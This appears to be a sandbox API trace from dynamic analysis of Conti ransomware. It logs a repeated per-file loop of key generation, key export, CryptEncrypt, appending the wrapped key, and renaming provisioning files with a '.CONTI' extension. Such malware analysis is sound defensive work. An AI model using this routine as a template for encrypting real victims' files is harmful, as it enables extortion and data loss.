	[0112.317] CryptExportKey (in: hKey=0x17c7ef0, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x18120bc, pdwDataLen=0x59bf7d4 | out: pbData=0x18120bc*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0112.327] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\524__Connections_Cellular_Sabafon (Yemen)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\524__connections_cellular_sabafon (yemen)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.327] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\524__Connections_Cellular_Sabafon (Yemen)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\524__connections_cellular_sabafon (yemen)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0112.327] GetLastError () returned 0x0
	[0112.327] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=708) returned 1
	[0112.328] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c4
	[0112.328] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.328] SetEndOfFile (hFile=0x3f8) returned 1
	[0112.328] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.328] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.328] WriteFile (in: hFile=0x3f8, lpBuffer=0x18120bc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x18120bc*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.331] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.331] ReadFile (in: hFile=0x3f8, lpBuffer=0x11200000, nNumberOfBytesToRead=0x2c4, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x2c4, lpOverlapped=0x0) returned 1
	[0112.331] CryptEncrypt (in: hKey=0x17c7ef0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x2c4, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x2d0) returned 1
	[0112.331] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.331] WriteFile (in: hFile=0x3f8, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x2d0, lpOverlapped=0x0) returned 1
	[0112.331] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.331] WriteFile (in: hFile=0x3f8, lpBuffer=0x18120b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x18120b0*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0112.331] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.331] CloseHandle (hObject=0x3f8) returned 1
	[0112.331] GetProcessHeap () returned 0x1720000
	[0112.331] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0112.331] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\524__Connections_Cellular_Sabafon (Yemen)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\524__Connections_Cellular_Sabafon (Yemen)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\524__Connections_Cellular_Sabafon (Yemen)_i0$(__MVID)@WAP.provxml"
	[0112.331] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\524__Connections_Cellular_Sabafon (Yemen)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\524__Connections_Cellular_Sabafon (Yemen)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\524__Connections_Cellular_Sabafon (Yemen)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.332] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\524__Connections_Cellular_Sabafon (Yemen)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\524__connections_cellular_sabafon (yemen)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\524__Connections_Cellular_Sabafon (Yemen)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\524__connections_cellular_sabafon (yemen)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.332] GetProcessHeap () returned 0x1720000
	[0112.332] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0112.332] CryptDestroyKey (hKey=0x17c7ef0) returned 1
	[0112.332] GetProcessHeap () returned 0x1720000
	[0112.332] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1808e60 | out: hHeap=0x1720000) returned 1
	[0112.332] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0112.332] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x1812548 | out: phKey=0x1812548*=0x17c7ef0) returned 1
	[0112.333] CryptExportKey (in: hKey=0x17c7ef0, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x181254c, pdwDataLen=0x59bf7d4 | out: pbData=0x181254c*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0112.333] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\525__Connections_Cellular_Idea (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\525__connections_cellular_idea (india)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.333] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\525__Connections_Cellular_Idea (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\525__connections_cellular_idea (india)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0112.334] GetLastError () returned 0x0
	[0112.334] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=706) returned 1
	[0112.334] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c2
	[0112.334] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.334] SetEndOfFile (hFile=0x3f8) returned 1
	[0112.334] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.334] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.334] WriteFile (in: hFile=0x3f8, lpBuffer=0x181254c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x181254c*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.340] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.340] ReadFile (in: hFile=0x3f8, lpBuffer=0x11200000, nNumberOfBytesToRead=0x2c2, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x2c2, lpOverlapped=0x0) returned 1
	[0112.340] CryptEncrypt (in: hKey=0x17c7ef0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x2c2, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x2d0) returned 1
	[0112.340] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.340] WriteFile (in: hFile=0x3f8, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x2d0, lpOverlapped=0x0) returned 1
	[0112.340] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.340] WriteFile (in: hFile=0x3f8, lpBuffer=0x1812540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x1812540*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0112.340] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.341] CloseHandle (hObject=0x3f8) returned 1
	[0112.341] GetProcessHeap () returned 0x1720000
	[0112.341] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0112.341] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\525__Connections_Cellular_Idea (India)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\525__Connections_Cellular_Idea (India)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\525__Connections_Cellular_Idea (India)_i0$(__MVID)@WAP.provxml"
	[0112.341] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\525__Connections_Cellular_Idea (India)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\525__Connections_Cellular_Idea (India)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\525__Connections_Cellular_Idea (India)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.341] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\525__Connections_Cellular_Idea (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\525__connections_cellular_idea (india)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\525__Connections_Cellular_Idea (India)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\525__connections_cellular_idea (india)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.341] GetProcessHeap () returned 0x1720000
	[0112.342] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0112.342] CryptDestroyKey (hKey=0x17c7ef0) returned 1
	[0112.342] GetProcessHeap () returned 0x1720000
	[0112.342] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1809b30 | out: hHeap=0x1720000) returned 1
	[0112.342] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0112.342] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x17c4108 | out: phKey=0x17c4108*=0x17c85b0) returned 1
	[0112.342] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c410c, pdwDataLen=0x59bf7d4 | out: pbData=0x17c410c*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0112.342] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\527__Connections_Cellular_Reliance Communication (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\527__connections_cellular_reliance communication (india)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.343] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\527__Connections_Cellular_Reliance Communication (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\527__connections_cellular_reliance communication (india)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0112.343] GetLastError () returned 0x0
	[0112.343] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=732) returned 1
	[0112.343] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2dc
	[0112.343] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.343] SetEndOfFile (hFile=0x3f8) returned 1
	[0112.343] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.343] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.343] WriteFile (in: hFile=0x3f8, lpBuffer=0x17c410c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x17c410c*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.350] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.350] ReadFile (in: hFile=0x3f8, lpBuffer=0x11200000, nNumberOfBytesToRead=0x2dc, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x2dc, lpOverlapped=0x0) returned 1
	[0112.350] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x2dc, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x2e0) returned 1
	[0112.350] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.350] WriteFile (in: hFile=0x3f8, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x2e0, lpOverlapped=0x0) returned 1
	[0112.350] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.351] WriteFile (in: hFile=0x3f8, lpBuffer=0x17c4100*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x17c4100*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0112.351] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.351] CloseHandle (hObject=0x3f8) returned 1
	[0112.351] GetProcessHeap () returned 0x1720000
	[0112.351] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0112.351] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\527__Connections_Cellular_Reliance Communication (India)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\527__Connections_Cellular_Reliance Communication (India)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\527__Connections_Cellular_Reliance Communication (India)_i0$(__MVID)@WAP.provxml"
	[0112.351] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\527__Connections_Cellular_Reliance Communication (India)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\527__Connections_Cellular_Reliance Communication (India)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\527__Connections_Cellular_Reliance Communication (India)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.351] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\527__Connections_Cellular_Reliance Communication (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\527__connections_cellular_reliance communication (india)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\527__Connections_Cellular_Reliance Communication (India)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\527__connections_cellular_reliance communication (india)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.352] GetProcessHeap () returned 0x1720000
	[0112.352] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0112.352] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0112.352] GetProcessHeap () returned 0x1720000
	[0112.352] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1814e78 | out: hHeap=0x1720000) returned 1
	[0112.352] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0112.352] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x17c47e0 | out: phKey=0x17c47e0*=0x17c85b0) returned 1
	[0112.352] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c47e4, pdwDataLen=0x59bf7d4 | out: pbData=0x17c47e4*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0112.353] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\529__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\529__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0112.353] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\529__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\529__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0112.353] GetLastError () returned 0x0
	[0112.353] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=480) returned 1
	[0112.353] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1e0
	[0112.353] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.353] SetEndOfFile (hFile=0x3f8) returned 1
	[0112.359] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.359] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.359] WriteFile (in: hFile=0x3f8, lpBuffer=0x17c47e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x17c47e4*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.361] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.361] ReadFile (in: hFile=0x3f8, lpBuffer=0x11200000, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x1e0, lpOverlapped=0x0) returned 1
	[0112.361] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x1e0, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x1f0) returned 1
	[0112.361] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.361] WriteFile (in: hFile=0x3f8, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x1f0, lpOverlapped=0x0) returned 1
	[0112.361] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.361] WriteFile (in: hFile=0x3f8, lpBuffer=0x17c47d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x17c47d8*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0112.361] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.361] CloseHandle (hObject=0x3f8) returned 1
	[0112.361] GetProcessHeap () returned 0x1720000
	[0112.361] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
